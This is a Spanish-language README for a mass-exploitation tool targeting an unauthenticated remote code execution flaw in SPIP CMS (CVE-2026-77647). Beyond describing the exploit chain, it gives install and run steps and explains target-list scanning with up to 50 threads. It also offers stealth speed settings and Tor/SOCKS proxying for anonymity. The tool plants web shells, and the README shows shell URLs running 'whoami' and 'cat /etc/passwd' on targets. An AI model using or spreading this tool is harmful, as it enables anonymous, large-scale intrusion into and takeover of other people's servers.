CVE-2026-77647

SPIP anterior a 4.4.20 permite a atacantes remotos no autenticados ejecutar código arbitrario

🔴 CVE-2026-77647 — Ejecución remota de código no autenticada en SPIP

Ejecución remota de código previa a la autenticación en SPIP CMS — Todas las versiones anteriores a 4.4.20

---

📋 Descripción general

CVE-2026-77647 es una vulnerabilidad crítica de ejecución remota de código (RCE) no autenticada que afecta a todas las versiones de SPIP CMS anteriores a la 4.4.20.

La falla permite a un atacante remoto —sin necesidad de autenticación ni interacción del usuario— ejecutar código PHP arbitrario en el servidor objetivo. Fue explotada activamente en la naturaleza a partir de agosto de 2026, lo que motivó un parche de emergencia por parte del equipo de SPIP.

Esta herramienta automatiza la detección y explotación de esta vulnerabilidad en múltiples objetivos con concurrencia configurable.

---

🛡️ Detalles de la vulnerabilidad

Campo	Detalles
ID de CVE	CVE-2026-77647
Software afectado	SPIP CMS
Versiones afectadas	Todas las versiones anteriores a 4.4.20
Tipo	Ejecución remota de código (RCE) no autenticada
CWE	CWE-94 — Control inadecuado de la generación de código (inyección de código)
Puntuación CVSS 3.1	9.8 / 10 — CRÍTICA
Vector CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Autenticación	No requerida (previa a la autenticación)
Explotación	Explotada activamente en la naturaleza (agosto de 2026)
Parche	SPIP 4.4.20 (Aviso)

---

⚙️ Desglose de CVSS 3.1

Métrica	Valor	Significado
Vector de ataque	Red	Explotable remotamente a través de internet
Complejidad del ataque	Baja	No se requieren condiciones especiales
Privilegios requeridos	Ninguno	No se necesita autenticación
Interacción del usuario	Ninguna	No se requiere acción de la víctima
Alcance	Sin cambios	Impacto limitado al sistema vulnerable
Confidencialidad	Alta	Acceso completo de lectura a todos los datos
Integridad	Alta	Acceso completo de escritura / modificación
Disponibilidad	Alta	Posible denegación de servicio completa

---

🔬 Análisis técnico

Causa raíz

La vulnerabilidad se origina por dos problemas que interactúan en el motor de plantillas de SPIP:

1. Identificación incorrecta de bloques <?php — el motor de plantillas de SPIP no sanea correctamente las etiquetas de apertura de PHP dentro de la entrada controlada por el usuario, específicamente en el parámetro de búsqueda (recherche).

2. Manejo incorrecto de var_export — la función var_export() de PHP maneja incorrectamente ciertos casos límite, en particular cuando la entrada contiene el carácter <, lo que permite la inyección de código PHP ejecutable.

Cadena de explotación

User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval

El atacante envía un payload manipulado a través de la funcionalidad de búsqueda de SPIP (?page=recherche&recherche=PAYLOAD). El payload abusa del mecanismo del encabezado HTTP X-Spip-Filtre para activar html_entity_decode, que decodifica el código PHP inyectado. El código decodificado es entonces evaluado por el motor de renderizado de plantillas de SPIP, logrando ejecución arbitraria de código.

Flujo del ataque

┌──────────────────────┐
│   Attacker Machine   │
└──────────┬───────────┘
           │
           │  GET /spip.php?page=recherche&recherche=<PAYLOAD>
           ▼
┌──────────────────────┐
│   SPIP Application   │
│                      │
│  1. Receives search  │
│  2. var_export()     │──── Mishandles '<' character
│  3. X-Spip-Filtre   │──── html_entity_decode
│  4. Template eval    │──── Executes injected PHP
│                      │
└──────────┬───────────┘
           │
           │  file_put_contents() → PHP Web Shell
           ▼
┌──────────────────────┐
│   Web Shell Active   │
│   Full RCE Achieved  │
└──────────────────────┘

🚀 Uso

Requisitos

• Python 3.7+
• Biblioteca requests

Instalación

git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests

Preparar objetivos

Cree un archivo llamado list.txt (o cualquier nombre personalizado) con un objetivo por línea:

https://target1.com
https://target2.com
http://192.168.1.100
target3.com

Nota: Los objetivos sin un esquema (http:// o https://) usarán http:// por defecto.

Ejecutar

python CVE-2026-77647.py

Configuración interactiva

La herramienta te solicitará:

[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):

Velocidad	Hilos	Tiempo de espera	Perfil
1 — Lenta	5	25s	🔇 Sigiloso
2 — Normal	10	15s	⚖️ Equilibrado
3 — Rápida	25	12s	⚡ Agresivo
4 — Ultra	50	10s	🔥 Máximo

[?] Proxy (blank = none): socks5://127.0.0.1:9050

Admite proxies HTTP/HTTPS/SOCKS para anonimización.

Salida

Los resultados exitosos se guardan en shells.txt:

https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk

Acceso a Shell

Ejecución de comandos:

https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd

Interfaz de carga de archivos:

https://target.com/Nx_.php?k=nXk

🎯 Características

• 🔍 Detección automática de la versión de SPIP mediante el encabezado Composed-By y la huella digital de la página
• 🛡️ Omisión de versiones parcheadas — omite automáticamente SPIP ≥ 4.4.20
• 📝 Despliegue de doble shell — shell de ejecución de comandos + shell de carga de archivos
• 📂 Escritura en múltiples rutas — intenta los directorios raíz, IMG/, tmp/ y local/
• ⚡ Escaneo multihilo — de 5 a 50 hilos concurrentes configurables
• 🌐 Soporte de proxy — enrutamiento a través de proxy HTTP, HTTPS y SOCKS
• 📊 Estado en tiempo real — progreso en vivo con salida de terminal codificada por colores
• 💾 Guardado automático de resultados — todos los shells confirmados se guardan en el archivo de salida

---

📚 Referencias

• CVE-2026-77647 — CVE.org
• CVE-2026-77647 — NVD (NIST)
• SPIP Security Advisory — SPIP Blog
• CERTFR-2026-AVI-1033 — CERT-FR (ANSSI)
• Debian Security Tracker — CVE-2026-77647
• Rapid7 Vulnerability Database

---

⚠️ Descargo de responsabilidad